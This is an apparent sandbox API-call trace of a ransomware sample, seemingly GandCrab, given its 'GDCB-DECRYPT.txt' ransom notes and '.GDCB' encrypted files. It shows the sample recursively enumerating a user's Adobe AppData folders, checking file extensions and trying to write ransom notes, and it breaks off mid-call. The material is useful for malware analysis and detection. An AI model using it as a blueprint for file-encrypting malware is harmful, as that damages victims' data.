[0169.843] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\VirtualStore") returned 82 [0169.843] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285eda8 | out: lpFindFileData=0x285eda8) returned 0 [0169.843] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.843] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.844] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\\\GDCB-DECRYPT.txt") returned 87 [0169.844] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.844] GetLastError () returned 0x50 [0169.844] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.844] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\") returned 70 [0169.844] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\*" [0169.844] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\*", lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 0x5a4b98 [0169.844] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.844] FindNextFileW (in: hFindFile=0x5a4b98, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0169.844] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.845] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.845] FindNextFileW (in: hFindFile=0x5a4b98, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0169.845] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0169.845] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0169.845] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\", lpString2="Adobe" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe" [0169.845] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\" [0169.845] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.845] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.845] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.845] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.845] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.845] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.845] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\") returned 76 [0169.845] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\*" [0169.845] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x5a49d8 [0169.845] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.845] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.845] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.845] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.845] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.845] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.845] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.845] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat" [0169.845] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat") returned 83 [0169.845] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.845] lstrcmpW (lpString1="AcroCef", lpString2=".") returned 1 [0169.845] lstrcmpW (lpString1="AcroCef", lpString2="..") returned 1 [0169.845] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef" [0169.845] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\AcroCef") returned 83 [0169.845] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.845] lstrcmpW (lpString1="Color", lpString2=".") returned 1 [0169.845] lstrcmpW (lpString1="Color", lpString2="..") returned 1 [0169.846] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\", lpString2="Color" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color" [0169.846] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Color") returned 81 [0169.846] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0169.846] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.846] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.846] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\GDCB-DECRYPT.txt" [0169.846] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\GDCB-DECRYPT.txt") returned 92 [0169.846] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.846] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0169.846] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.846] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.846] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt") returned 93 [0169.846] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\adobe\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.846] GetLastError () returned 0x50 [0169.846] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.847] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\") returned 76 [0169.847] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\*" [0169.847] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x5a4dd8 [0169.847] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.847] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.847] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.847] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.847] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0169.847] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0169.847] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0169.847] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat" [0169.847] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\" [0169.847] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.847] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.847] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.847] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\") returned 84 [0169.847] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\*" [0169.847] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x5a4c58 [0169.847] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.847] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.847] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.848] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.848] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.848] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.848] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.848] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC" [0169.848] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC") returned 86 [0169.848] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0169.848] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.848] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.848] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0169.848] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 100 [0169.848] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.848] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0169.848] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0169.848] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.848] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt") returned 101 [0169.848] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\adobe\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.848] GetLastError () returned 0x50 [0169.848] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.849] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\") returned 84 [0169.849] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\*" [0169.849] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x5a4c58 [0169.849] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.849] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.849] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.849] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.849] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0169.849] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0169.849] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0169.849] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC" [0169.849] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\" [0169.849] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.849] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.849] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.849] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.849] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.849] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.850] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\") returned 87 [0169.850] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\*" [0169.850] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\*", lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 0x5a4918 [0169.850] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.850] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.850] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.850] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.850] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.850] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2=".") returned 1 [0169.850] lstrcmpW (lpString1="AdobeCMapFnt15.lst", lpString2="..") returned 1 [0169.850] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst" [0169.850] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt15.lst") returned 105 [0169.850] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.850] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.850] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2=".") returned 1 [0169.850] lstrcmpW (lpString1="AdobeCMapFnt17.lst", lpString2="..") returned 1 [0169.850] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeCMapFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst" [0169.850] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeCMapFnt17.lst") returned 105 [0169.850] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.850] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.850] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2=".") returned 1 [0169.850] lstrcmpW (lpString1="AdobeSysFnt15.lst", lpString2="..") returned 1 [0169.850] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst" [0169.850] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt15.lst") returned 104 [0169.850] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.850] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.850] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2=".") returned 1 [0169.850] lstrcmpW (lpString1="AdobeSysFnt17.lst", lpString2="..") returned 1 [0169.850] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="AdobeSysFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst" [0169.850] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\AdobeSysFnt17.lst") returned 104 [0169.850] lstrcmpW (lpString1=".lst", lpString2=".sql") returned -1 [0169.850] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.850] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0169.850] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0169.850] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache" [0169.850] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\Cache") returned 92 [0169.850] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.850] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.850] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.850] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0169.850] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 103 [0169.850] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.850] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.850] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2=".") returned 1 [0169.850] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2="..") returned 1 [0169.851] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0169.851] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 108 [0169.851] lstrcmpW (lpString1=".GDCB", lpString2=".sql") returned -1 [0169.851] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e610 | out: lpFindFileData=0x285e610) returned 1 [0169.851] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2=".") returned 1 [0169.851] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2="..") returned 1 [0169.851] lstrcatW 